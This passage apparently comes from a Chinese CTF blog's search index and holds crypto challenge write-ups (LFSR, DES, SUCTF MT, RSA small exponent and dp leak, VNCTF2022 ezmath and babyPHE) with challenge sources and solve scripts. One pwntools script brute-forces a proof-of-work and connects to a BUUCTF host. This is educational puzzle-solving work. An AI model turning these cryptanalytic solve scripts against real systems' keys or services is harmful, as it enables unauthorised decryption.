lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 output^=lastbit return (output,lastbit)cipher = open('flag_encode.txt','rb').read()a = ''.join([chr(int(b, 16)) for b in [key[i:i+2] for i in range(0, len(key), 2)]])ans = []lent = len(cipher)for i in range(0, len(a)): ans.append(chr(cipher[i]^ord(a[i])))for i in range(len(a), lent): tmp = 0 for j in range(8): (R,out)=lfsr(R,mask) tmp=(tmp << 1)^out ans.append(chr(tmp ^ cipher[i]))flag = ''.join(ans)print(flag)# afctf{read_is_hard_but_worthy} [ACTF新生赛2020]crypto-des根据提示压缩包密码可以通过数据类型转换转换成c语言的标准浮点数存储格式,然后再转成hex,最后把hex转化成字符串: 12345678910111213141516171819202122from libnum import*import structimport binasciis = [72143238992041641000000.000000,77135357178006504000000000000000.000000,1125868345616435400000000.000000,67378029765916820000000.000000,75553486092184703000000000000.000000,4397611913739958700000.000000,76209378028621039000000000000000.000000]a = ''b = ''for i in s: i = float(i) a += struct.pack('<f',i).hex() #小端print(a)for j in s: i = float(i) b += struct.pack('>f',i).hex() #小端print(b)a = 0x496e74657265737472696e67204964656120746f20656e6372797074b = 0x74707972747079727470797274707972747079727470797274707972print(n2s(a))print(n2s(b))#Interestring Idea to encrypt 解压得到加密脚本,已经给了轮密钥,直接解密即可。 1234567891011121314151617181920212223242526272829303132import pyDesimport base64deskey = "00000000"DES = pyDes.des(deskey)DES.setMode('ECB')DES.Kn = [ [1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0], [1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0], [0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0], [1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1], [0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1], [0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0], [0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0], [0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0], [1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0], [0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0], [0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1], [0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0], [1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0], [1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1], [1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1], [1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1] ]# cipher_list = base64.b64encode(DES.encrypt(flag))k = b'vrkgBqeK7+h7mPyWujP8r5FqH5yyVlqv0CXudqoNHVAVdNO8ML4lM4zgez7weQXo'data = base64.b64decode(k)print(data)flag = DES.decrypt(data)print(flag)#actf{breaking_DES_is_just_a_small_piece_of_cake} [SUCTF2019]MT刷到了自己战队老师傅出的题了^-^。这题可以用z3来逆运算,或者手动推导关系,但是这样太慢并且复杂,有师傅给出了一个新奇的思路,那就是把密文进行多轮加密,经过足够多次数以后就会得到明文。这种做法可以理解为:对某一固定长度的字符串进行移位和异或两种操作,其密文空间是有限的,因此只要不断加密就能得到明文。不知道算不算非预期。 1234567891011121314151617181920212223242526from Crypto.Random import randomfrom Crypto.Util import numberfrom flag import flag#优先移位再与再异或def convert(m): m = m ^ m >> 13 m = m ^ m << 9 & 2029229568 m = m ^ m << 17 & 2245263360 m = m ^ m >> 19 return mdef transform(message): assert len(message) % 4 == 0 new_message = '' for i in range(len(message) / 4): block = message[i * 4 : i * 4 +4] block = number.bytes_to_long(block) block = convert(block) block = number.long_to_bytes(block, 4)#补充为4字节? new_message += block return new_messagetransformed_flag = transform(flag[5:-1].decode('hex')).encode('hex')print 'transformed_flag:', transformed_flag# transformed_flag: 641460a9e3953b1aaa21f3a2 exp: 123456789101112131415161718192021222324252627282930313233343536from Crypto.Util import numberdef convert(m): #异或与运算(字节型) m = m ^ m >> 13 m = m ^ m << 9 & 2029229568 m = m ^ m << 17 & 2245263360 m = m ^ m >> 19 return mdef transform(message): assert len(message) % 4 == 0 new_message = b'' for i in range(len(message) // 4): block = message[i * 4 : i * 4 +4] block = number.bytes_to_long(block) block = convert(block) block = number.long_to_bytes(block, 4) new_message += block return new_message#transformed_flag = transform(flag[5:-1].decode('hex')).encode('hex') #转为字节型运算 运算完转16进制#print 'transformed_flag:', transformed_flag# transformed_flag: 641460a9e3953b1aaa21f3a2# 密文不断加密可得到原文,flag经过一次加密后得到transformed_flagdef decode(c): x = c #将加密的flag段给x while True: x_ = x x = transform(x) #给x加密 if x == c: # 当x_(flag)的下一次加密等于c(transformed_flag )时 返回x_(flag) return x_transformed_flag = '641460a9e3953b1aaa21f3a2'print(bytes.fromhex(transformed_flag))flag = decode(bytes.fromhex(transformed_flag)).hex()print('flag:', flag)#('flag:', '84b45f89af22ce7e67275bdc') [b01lers2020]safety_in_numbers​ 加密过程就是简单的RSA,但公钥文件pem很大,说明n或者e很大,这里可以用RSA模块来提取公钥: 123456789101112#!python3# -*- coding: utf-8 -*-# @Time : 2020/10/26 11:28# @Author : A.James# @FileName: tt1.pyimport Crypto.PublicKey.RSA as RSAwith open("pubkey.pem", "r") as f: ciph = RSA.importKey(f.read()) # chill out, Crypto.RSA takes its sweet time... (minutes)n = ciph.ne = ciph.eprint (n)print (e) ​ 但是时间较长,可以考虑另一种方法,这里需要看看公钥pem文件结构:https://www.cnblogs.com/yiyongling/articles/11365380.html ​ 由此可知,base64的最后部分是模数e,notepad打开发现仅一行,说明e很小,直接提取出来,发现是0x10001,n那么大显然是小指数加密缺陷,直接开方即可。 1234567891011#!python3import gmpy2import libnume = 65537with open('flag.enc','rb') as f: cipher = f.read()c = int.from_bytes(cipher, byteorder='little')m = gmpy2.iroot(c,e)[0]print(libnum.n2s(m))print(libnum.n2s(m)[::-1])","categories":[{"name":"buu","slug":"buu","permalink":"http://example.com/categories/buu/"},{"name":"刷题总结","slug":"buu/刷题总结","permalink":"http://example.com/categories/buu/%E5%88%B7%E9%A2%98%E6%80%BB%E7%BB%93/"}],"tags":[{"name":"buu","slug":"buu","permalink":"http://example.com/tags/buu/"},{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"}]},{"title":"HSC-1th 2022","slug":"HSC-1th-2022","date":"2022-02-21T02:35:19.000Z","updated":"2022-02-21T02:44:36.000Z","comments":true,"path":"2022/02/21/HSC-1th-2022/","link":"","permalink":"http://example.com/2022/02/21/HSC-1th-2022/","excerpt":"","text":"​ 这比赛挺不错的,题目难度有梯度,对萌新友好。 ​ 最终Rank:10 ​ 解题情况: ​ ​ ​ wp: ​ 链接:https://pan.baidu.com/s/1bFoBiAGf_iVadnklT59VLQ​ 提取码:2678","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"HSC-1th 2022","slug":"赛事/HSC-1th-2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/HSC-1th-2022/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"},{"name":"赛事","slug":"赛事","permalink":"http://example.com/tags/%E8%B5%9B%E4%BA%8B/"},{"name":"web","slug":"web","permalink":"http://example.com/tags/web/"},{"name":"re","slug":"re","permalink":"http://example.com/tags/re/"}]},{"title":"RSA-DP泄露(二)","slug":"RSA-DP泄露(二)","date":"2022-02-17T02:37:13.000Z","updated":"2022-02-17T08:25:20.000Z","comments":true,"path":"2022/02/17/RSA-DP泄露(二)/","link":"","permalink":"http://example.com/2022/02/17/RSA-DP%E6%B3%84%E9%9C%B2%EF%BC%88%E4%BA%8C%EF%BC%89/","excerpt":"​ 附件: 12345p = 8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229 q = 12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469 dp = 6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929 dq = 783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041 c = 24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852","text":"​ 附件: 12345p = 8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229 q = 12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469 dp = 6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929 dq = 783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041 c = 24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852 ​ 推导: ​ exp: 12345678910111213import gmpy2p = 8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229q = 12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469dp = 6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929dq = 783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041c = 24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852I = gmpy2.invert(q,p)m1 = pow(c,dp,p)m2 = pow(c,dq,q)m = (((m1-m2)*I)%p)*q+m2print(m) #10进制明文print(hex(m)[2:]) #16进制明文print(bytes.fromhex(hex(m)[2:])) #16进制转文本","categories":[{"name":"比赛","slug":"比赛","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/"},{"name":"RSA","slug":"比赛/RSA","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/"},{"name":"数论或其它","slug":"比赛/RSA/数论或其它","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/%E6%95%B0%E8%AE%BA%E6%88%96%E5%85%B6%E5%AE%83/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"RSA","slug":"RSA","permalink":"http://example.com/tags/RSA/"},{"name":"数论","slug":"数论","permalink":"http://example.com/tags/%E6%95%B0%E8%AE%BA/"}]},{"title":"VNCTF2022","slug":"VNCTF2022","date":"2022-02-12T07:26:21.000Z","updated":"2022-02-17T08:23:22.000Z","comments":true,"path":"2022/02/12/VNCTF2022/","link":"","permalink":"http://example.com/2022/02/12/VNCTF2022/","excerpt":"​ 今天和队友搞美赛模拟,就签了个到(其实是我太菜了),后边面向wp学习吧 QAQ。","text":"​ 今天和队友搞美赛模拟,就签了个到(其实是我太菜了),后边面向wp学习吧 QAQ。 Rank 77/717 WebGameV4.0一堆js文件,源码找注释,base64解码。 Misc仔细找找​ 仔细观察会发现黑色背景部分有很多彩色小点,用ps打开调节亮度并调整视图可以看到flag。 Cryptoezmath12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576from Crypto.Util.number import*import randomfrom secret import flag,checkfrom hashlib import sha256import socketserverimport signalimport string table = string.ascii_letters+string.digits #所有字母和0-9class Task(socketserver.BaseRequestHandler): def _recvall(self): BUFF_SIZE = 2048 data = b'' while True: part = self.request.recv(BUFF_SIZE) data += part if len(part) < BUFF_SIZE: break return data.strip() #除去首尾空格 def send(self, msg, newline=True): try: if newline: msg += b'\\n' self.request.sendall(msg) except: pass def recv(self, prompt=b''): self.send(prompt, newline=False) return self._recvall() def proof_of_work(self): proof = (''.join([random.choice(table)for _ in range(20)])).encode() sha = sha256(proof).hexdigest().encode() self.send(b"[+] sha256(XXXX+" + proof[4:] + b") == " + sha ) XXXX = self.recv(prompt = b'[+] Plz Tell Me XXXX :') if len(XXXX) != 4 or sha256(XXXX + proof[4:]).hexdigest().encode() != sha: return False return True def handle(self): proof = self.proof_of_work() if not proof: self.request.close() counts = 0 signal.alarm(60) for i in range(777): times = getPrime(32) self.send(b'plz give me the ' + str(times).encode() + b'th (n) that satisfying (2^n-1) % 15 == 0:') n = int(self.recv()) a , ret = check(times,n) if a == True: self.send(ret.encode()) counts += 1 else: self.send(ret.encode()) if counts == 777: self.send(b'You get flag!') self.send(flag) else: self.send(b'something wrong?') self.request.close()class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer): passclass ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer): passif __name__ == "__main__": HOST, PORT = '0.0.0.0', 10001 print("HOST:POST " + HOST+":" + str(PORT)) server = ForkedServer((HOST, PORT), Task) server.allow_reuse_address = True server.serve_forever() ​ exp: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556# -*- coding:utf-8 -*-from pwn import *def jm_sha256_single(value): """ sha256加密 :param value: 加密字符串 :return: 加密结果转换为16进制字符串 """ hsobj = hashlib.sha256() hsobj.update(value.encode("utf-8")) return hsobj.hexdigest().lower()#爆破哈希def send_hash(res,hashs): table = string.ascii_letters + string.digits for i1 in table: for i2 in table : for i3 in table: for i4 in table: s = i1 + i2 + i3 + i4 ss = s + res if jm_sha256_single(ss) == hashs: print(s) io.sendline(s.encode()) return 0def find_n(th): j = 4*th return jif __name__ == '__main__': io = remote('node4.buuoj.cn',25854) q1 = str(io.recvuntil(":".encode())) start1 = q1.find('(') res = q1[start1+6:start1+22] print(res) start2 = q1.find('==') hashs = q1[start2+3:start2+67] print(hashs) send_hash(res,hashs) for i in range(777): print(i) q2 = str(io.recvuntil(':'.encode())) print(q2) start3 = q2.find('the') th = q2[start3+4:start3+14] th = int(th) print(th) n = find_n(th) io.sendline(str(n).encode()) flag = str(io.recvrepeat(timeout=5)) print(flag)#flag{cebdfc71-0a91-4e2e-97cf-70700c7cbcf3} babyPHE(复现)​ 题目描述:Alice最近学习了一种新型加密模式,她想当可信第三方。然额,她发现生成密钥对时间太长了,她使用了固定的密钥对。有六个用户他们使用Alice的密码系统去进行加密,他们使用该系统悄悄的flag混合了。 Bob是Alice的男盆友,他不讲武德在密码系统中偷偷记录了六个用户生成密钥对时的服务器上的某个参数并想要尝试破译,但是他没有破译成功,于是将他有的信息悄悄的发送给了你。 你能恢复出这flag是什么吗 flag’s format : vnctf{ } hint: 快速幂的消耗 ​ 附件1:cryptosystem.py 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758from Crypto.Util.number import*import randomclass CryptoSystem: def __init__(self,kbit) : self.k_bit = kbit self.p_bit = self.k_bit//2 self.q_bit = self.k_bit - self.p_bit self.gen_alice_key() def gen_alice_key(self): while 1: p = getPrime(self.p_bit) p_tmp = (p-1)//2 if isPrime(p_tmp): break while 1: q = getPrime(self.q_bit) q_tmp = (q-1)//2 if isPrime(q_tmp): break N = p * q #大整数难以分解作为公钥 while 1: g = random.randrange(N*N) if (pow(g,p_tmp * q_tmp,N*N) - 1) % N == 0 and \\ (pow(g,p_tmp * q_tmp,N*N) - 1) // N >= 1 and \\ (pow(g,p_tmp * q_tmp,N*N) - 1) // N <= N - 1: break self.alice_pub = (N,g)#公钥 self.alice_sec = (p,q)#私钥 def gen_other_key(self): N,g = self.alice_pub a = random.randrange(N*N) h = pow(g,a,N*N) pub = h sec = a return pub,sec #生成密钥对的算法/ def other_encrypt(self,pk,m): N,g = self.alice_pub r = random.randrange(N*N) A = pow(g,r,N*N) B = (pow(pk,r,N*N) * (1 + m * N)) % (N * N) return A,B def Add(self,dataCipher1,dataCipher2): N , g = self.alice_pub A1,B1 = dataCipher1 A2,B2 = dataCipher2 B = (B1*B2) % (N*N) return (A1,A2,B) ​ 附件2:server.py 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394from Crypto.Util.number import*from cryptosystem import CryptoSystem from secret import flagimport randomfrom hashlib import sha256import socketserverimport signalimport string table = string.ascii_letters+string.digitsMENU = b'What do you want to get?\\n[1]the pk list\\n[2]Alice Public Parameters\\n[3]Mixed Flag\\n[4]exit'class Task(socketserver.BaseRequestHandler): def _recvall(self): BUFF_SIZE = 2048 data = b'' while True: part = self.request.recv(BUFF_SIZE) data += part if len(part) < BUFF_SIZE: break return data.strip() def send(self, msg, newline=True): try: if newline: msg += b'\\n' self.request.sendall(msg) except: pass def recv(self, prompt=b'SERVER <INPUT>: '): self.send(prompt, newline=False) return self._recvall() def proof_of_work(self): proof = (''.join([random.choice(table)for _ in range(20)])).encode() sha = sha256(proof).hexdigest().encode() self.send(b"[+] sha256(XXXX+" + proof[4:] + b") == " + sha ) XXXX = self.recv(prompt = b'[+] Plz Tell Me XXXX :') if len(XXXX) != 4 or sha256(XXXX + proof[4:]).hexdigest().encode() != sha: return False return True def gen_participation_key_pair(self): participation_pk_list = [] participation_sk_list = [] for i in range(6): part_pk,part_sk = self.alice_cryptosystem.gen_other_key() #获得6对生成的密钥对 participation_pk_list.append(part_pk) participation_sk_list.append(part_sk) return part_pk def handle(self): self.alice_cryptosystem = CryptoSystem(1024) participation_pk_list = self.gen_participation_key_pair() proof = self.proof_of_work() if not proof: self.request.close() signal.alarm(60) flag_list = [bytes_to_long(flag[i*5:i*5+5]) for i in range(6)] cipher_list = [self.alice_cryptosystem.other_encrypt(participation_pk_list[i],flag_list[i]) for i in range(6)]#这里是在用密码系统生成的公私钥对进行加密 mixed_data = [self.alice_cryptosystem.Add(cipher_list[i],cipher_list[i+1]) for i in range(5)] #同态加密 混合 while 1: self.send(MENU) option = self.recv() if option == b'1': self.send(b"[~]My pk_list is:") self.send(str(participation_pk_list).encode()) elif option == b'2': self.send(b"[~]Alice public_parameters is") self.send(str(self.alice_cryptosystem.alice_pub).encode()) elif option == b'3': self.send(b'[~]What you want is the flag!') self.send(str(mixed_data).encode()) else: break self.request.close()class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer): passclass ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer): passif __name__ == "__main__": HOST, PORT = '0.0.0.0', 10005 print("HOST:POST " + HOST+":" + str(PORT)) server = ForkedServer((HOST, PORT), Task) server.allow_reuse_address = True server.serve_forever() ​ 附件3:Bob_give_you_something ​ 6个列表,数字分布于60-200之间 ​ 附件4:Bob_try_to_interactive 123456789101112131415161718192021222324252627282930What do you want to get?[1]the pk list[2]Alice Public Parameters[3]Mixed Flag[4]exitSERVER <INPUT>: 1[~]My pk_list is:[1322842566065856798965165348078862357662198978947230709254526492285633103717144968735233037057635982712449886088094071707373492828329816403406086925271118810344041229312732672575513454776879004607034599714440192959516462346178676822793054022355340273220895758465252657627533580580661259224576036836899300361602939684184409146605413303645375209063407283788834371731645965734210815674655141937633174952825964571184358064898432155429127042537390331662523018090768538304757528325737029530914511997095609887140188315159519726941243145154982311426980770893222512421681100895613703769217217726796485797389777578427706351431, 1929353920719299187661308157981749306000287810274985728139426214822581195090665401749753846077249277129639243707822757055941082464616169391698813564752296766917445328390119101887079278115873441407801269666064184707573218538829473509387530062976418264787144789530314562024653164934843854581804048249892522951148405452048197467260971792040669602533612092283424644152035305528153991413104737633877324819675765337058593912363038132773480442939092315660329419364524776069424287921244597238072942644562723590311132742006220424699393681291317394377782898447415333917160012108428733209008198177742632631879274165624277481851, 2789011373470240533905631892024296570906678296635752216220081790321204618235380094204993170523863943409640177956225417067840314617943182599260568907798576069406172968452018144820358899764046320473076086697805329140694534284547901328504085789250614483796435793917853203275245694757472744115420469760429645812640609868625658899893385756019985012438222660060690915389700165285949020489881437563281013841781250607647190620114790531723711706881018137164963096418632285359393453886085197112836853795501737185507901528886916379304576807819903178457247637148399648414584715050473645451454849514269920884716122913229594738752, 8944887367617587241442393229883580834740342304462111105224025291430611321546396102859687333969359524930738537937019013829384606176130513825457156561590666892656705555749481830166659743707548225210121902143969013444405319894625585668596912347789701976651629049271616876141532892390115295041834392608002822127929010500807946326595393217920014219030212857645423747224881557529221103453754309642068857884385938458625120451502032936317586320054048545222493315098707459226052260059007544536679036212141093443337050020955677617422530969961597220552901351308324088233175574555360591700985283581991040305739566382858380007428, 4397583564610423253499843461668397587635466857732498334676375533511290617079510457503762044490728238057694987978886639696168812864700076791908544778388891874223240097159332439061591837526459605271437124176402469035387238812282824293798762114991886550968552873900950500579121111075038947153723573424753662964020656383407389945413094698336805849701462154602561757363428980638610186902374298570018733098337050825688853874037287219878049002782016236313417300752658640951783183554558075556909424245130397476445117448915568396749223181152049295802355315026409054042717276851919403986477022829837140433933944675291372701186, 1887024557812390859587427679482183732847546004970185587894674995710637541577988021282086719881808142878304006798878288881586175207328098796364980971344261196626251002434715710053431197448244191714456166010179613555563774449838465354540108151902674835883336359438359335789619289783630973892862795355598386473633599846961468826660481787403864011853875011153240424154600064584435939126646722766878200900632739799123128975043646600429503490785669792258905940031301822731688276652795642091651576954347376088562802150248176635532850763237619932687425335901131629912404948543484891756530792238399773172947496813143007946734]What do you want to get?[1]the pk list[2]Alice Public Parameters[3]Mixed Flag[4]exitSERVER <INPUT>: 2[~]Alice public_parameters is(99432570713451062672092617212319674009128734021066252368974800380230695323011362021233083666801384874016217174138172838324478923078565331451675890131482611143922160917396923797235440250981885284277138989238227045468313350149185634986094994817254420199118748807731778875073713159130977981056629225363484612477, 3968529370264936315920184477746788220647053714090169783299608119529824310904496486702826831189864895901209648545829990235312934722991437418299346170024807755247754432133360178045395401174982549914108473260518839316780908593318455968053014605561504763936320319823824648449367236939727402970530941741756355440144535524693269860226342989569545529027400537822905839372506033736360929447563246349881828685681190426611634101046071883134662542428054340117879442277375242419725749540743809427149381516979587301032095071523792619805416206328411405597400382193217814410409605898798472988157572731575592931542612306878517511455)What do you want to get?[1]the pk list[2]Alice Public Parameters[3]Mixed Flag[4]exitSERVER <INPUT>: 3[~]What you want is the flag![(8629971888291975347213791416269354663615597341449778464247397219745286182369049868780117508051847999960298596024452522313329959950925171599359898743763042054503440417555174526249829160862494674723813461791740628652379407441970707977460111090664195622293993068339178752253267336919360579659595380424128716331274966011720520402081818339785138564100448828785381210446654549751563770054480276370471933784135979318211388960544875452302901572290613486671118837737952929707183938688557203481397969599355299594458247427664016117339384449186175616507581548517338060151198448327302002598499596140923762164185685397703246525017, 2382704819350988648204939926259922012821070196393254466517927977328047779007630655554783102909445420233334603414269830021827909871784463842733412228018177538280291666226870925572366499683051585600821733321248692261413823782180369786281108496129071519528138126973685857158738633931510584076135644438451418512008698435996783365565980823146754387114607644836143562871251037131100844233499210456295742002818248405955542240031209179401171271988182498301048707975128420754563407337516505117424026601497057408173728989963923392569169720608288778589977299331468798591689742966007919372616963939427942973022672206407915356894, 7720313960516556678241507800313698506319294922044337939798672519899373894106710230654330788343477820100945131225868724604111187104961165449671731600123366694979688433519949770849824359157765719319384499326446776281094391789559201066092080637825695308899163795101674215619537911161758825346990604246201908242641998141131720545547223028612859544467335764381503082373878441543065709211578323452814290911656080720587522044520123114130521964539949874597280324605268358583300909472806691738357290060135813749592500883291268752974739510309885861678540543885454291467441449775481576475597779098977264432915191026950037121271), (2382704819350988648204939926259922012821070196393254466517927977328047779007630655554783102909445420233334603414269830021827909871784463842733412228018177538280291666226870925572366499683051585600821733321248692261413823782180369786281108496129071519528138126973685857158738633931510584076135644438451418512008698435996783365565980823146754387114607644836143562871251037131100844233499210456295742002818248405955542240031209179401171271988182498301048707975128420754563407337516505117424026601497057408173728989963923392569169720608288778589977299331468798591689742966007919372616963939427942973022672206407915356894, 2507489313693027727447823694213947097758893725637064080783076417422312360728871796716507607648204050957058352447513001293923638548755061814481143157280185982134248529705643296490203782611775648931232850380043060019259802341855745407723808559404538235550140640847652196525197728216863601181861238447111155134874873220188560494260693812235297043755237290506736697473642464212381153314464150028542768640544348115479388781714169932337684281395098898295048720991373671433770742876559915120975993663066370466552784425304512344074776338296352164911126588429313182901480992761403886230939719560496866577975131579057233980418, 3603233069921949635850852842102780282250188557063111749359701863158964441251898915819927526832514804676814118399988368079794874992149765916759224281185627030856640018562907911112504000563096016700256240666273611941320289178055416603630913077176567643353181182220432293206255187929971213857584642985361915813306867425294385269330460752200900341331665528445829353168856397102607628243111558263291982908278855340763809937944911956507459341371522547886786433534425538866644727624245702953159357318705462680438481025308981427064201053009152196210535434082336140957273740170206132676978454465699712662183230838620576397771), (2507489313693027727447823694213947097758893725637064080783076417422312360728871796716507607648204050957058352447513001293923638548755061814481143157280185982134248529705643296490203782611775648931232850380043060019259802341855745407723808559404538235550140640847652196525197728216863601181861238447111155134874873220188560494260693812235297043755237290506736697473642464212381153314464150028542768640544348115479388781714169932337684281395098898295048720991373671433770742876559915120975993663066370466552784425304512344074776338296352164911126588429313182901480992761403886230939719560496866577975131579057233980418, 7769230445155201113494537348459352387708612203054561299606903286112936921859421067127410781913677713423158049411013804288570673695825855969822168904613465090290306226978616894321879293271162132061470408070909310151619998411378202847228354918571965001390588172776972224778839119169450173333867054090477937647516598663804457249106382500709364775634358601371251459877683379682809903658838902783963786177719437968604142810768329151307435649733153348164028321577077681431486645592176232620214087883116496965071120567845561936056520916949714662519666931982850792755106900551200428113854794154127442081282902169286650571401, 1980172577526976953208467529900525783074696095931646996510173485588725995089661024536807562115058145311072178324244275386472867798089304656532882034354969245827559132434491283213041279414052179349423545284449349791764442814795484489622913236952945004885237471927992708071668392107252909374174486979848725181384806622865162901189364378882337523881706060196311538634436782157680819223656846784628557021576760718204769640388889532408106414067642872013172395542468221843563481648375218787976310106718686529056130227939362903825973551762087339318300140188516130629026785777810412625331595370234139359970280877739798474389), 